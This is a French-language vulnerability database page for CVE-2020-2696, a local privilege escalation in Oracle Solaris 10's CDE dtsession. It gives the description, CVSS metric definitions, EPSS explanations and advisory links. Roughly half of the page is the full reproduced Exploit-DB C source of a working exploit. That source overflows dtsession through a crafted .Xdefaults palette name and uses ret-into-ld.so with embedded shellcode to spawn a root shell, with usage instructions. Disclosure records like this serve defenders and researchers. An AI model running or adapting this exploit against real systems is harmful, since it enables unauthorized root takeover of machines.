CVE-2020-2696 : Détail

CVE-2020-2696

8.8
/
HIGH
0.12%V3
Local
2020-01-15 15:34 +00:00
2020-01-20 11:06 +00:00

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Gestion des alertes

Descriptions

Vulnerability in the Oracle Solaris product of Oracle Systems (component: Common Desktop Environment). The supported version that is affected is 10. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.0 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V3.0 8.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 47932

Date de publication : 2020-01-15 23:00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : No

# Exploit: SunOS 5.10 Generic_147148-26 - Local Privilege Escalation # Date: 2020-01-15 # Author: Marco Ivaldi # Vendor: www.oracle.com # Software Link: https://www.oracle.com/technetwork/server-storage/solaris10/downloads/latest-release/index.html # CVE: CVE-2020-2696 /* * raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel * Copyright (c) 2019-2020 Marco Ivaldi <[email protected]> * * A buffer overflow in the CheckMonitor() function in the Common Desktop * Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with * Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain * root privileges via a long palette name passed to dtsession in a malicious * .Xdefaults file (CVE-2020-2696). * * "I always loved Sun because it was so easy to own. Now with Solaris 11 I * don't like it anymore." -- ~B. * * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory * space, try returning to sprintf() instead of strcpy(). * * I haven't written a Solaris/SPARC version because I don't have a SPARC box * on which Solaris 10 can run. If anybody is kind enough to give me access to * such a box, I'd be happy to port my exploit to Solaris/SPARC as well. * * Usage: * $ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall * [on your xserver: disable the access control] * $ ./raptor_dtsession_ipa 192.168.1.1:0 * [...] * # id * uid=0(root) gid=1(other) * # * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also likely vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #include <sys/types.h> #define INFO1 "raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel" #define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi <[email protected]>" #define VULN "/usr/dt/bin/dtsession" // the vulnerable program #define BUFSIZE 256 // size of the palette name #define PADDING 3 // padding in the palette name #define PAYSIZE 1024 // size of the payload #define OFFSET env_len / 2 // offset to the shellcode char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], payload[PAYSIZE]; char platform[256], release[256], display[256]; int i, payaddr; char *arg[2] = {"foo", NULL}; int sb = ((int)argv[0] | 0xfff); /* stack base */ int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* rwx memory */ FILE *fp; char palette_file[BUFSIZE + 18]; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */ memset(payload, '\x90', PAYSIZE); payload[PAYSIZE - 1] = 0x0; memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc)); /* fill the envp, keeping padding */ add_env(payload); add_env(display); add_env("HOME=/tmp"); add_env(NULL); /* calculate the payload address */ payaddr = sb - OFFSET; /* prepare the evil palette name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with function address in ld.so.1, saved eip, and arguments */ for (i = PADDING; i < BUFSIZE - 16; i += 4) { set_val(buf, i, ret); /* strcpy */ set_val(buf, i += 4, rwx_mem); /* saved eip */ set_val(buf, i += 4, rwx_mem); /* 1st argument */ set_val(buf, i += 4, payaddr); /* 2nd argument */ } /* prepare the evil .Xdefaults file */ fp = fopen("/tmp/.Xdefaults", "w"); if (!fp) { perror("error creating .Xdefaults file"); exit(1); } fprintf(fp, "*0*ColorPalette: %s\n", buf); // or *0*MonochromePalette fclose(fp); /* prepare the evil palette file (badchars currently not handled) */ mkdir("/tmp/.dt", 0755); mkdir("/tmp/.dt/palettes", 0755); sprintf(palette_file, "/tmp/.dt/palettes/%s", buf); fp = fopen(palette_file, "w"); if (!fp) { perror("error creating palette file"); exit(1); } fprintf(fp, "Black\n"); fclose(fp); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer (little endian) */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24; }

Products Mentioned

Configuraton 0

Oracle>>Solaris >> Version 10

References

https://seclists.org/bugtraq/2020/Jan/22
Tags : mailing-list, x_refsource_BUGTRAQ
http://seclists.org/fulldisclosure/2020/Jan/24
Tags : mailing-list, x_refsource_FULLDISC
http://www.openwall.com/lists/oss-security/2020/01/20/2
Tags : mailing-list, x_refsource_MLIST
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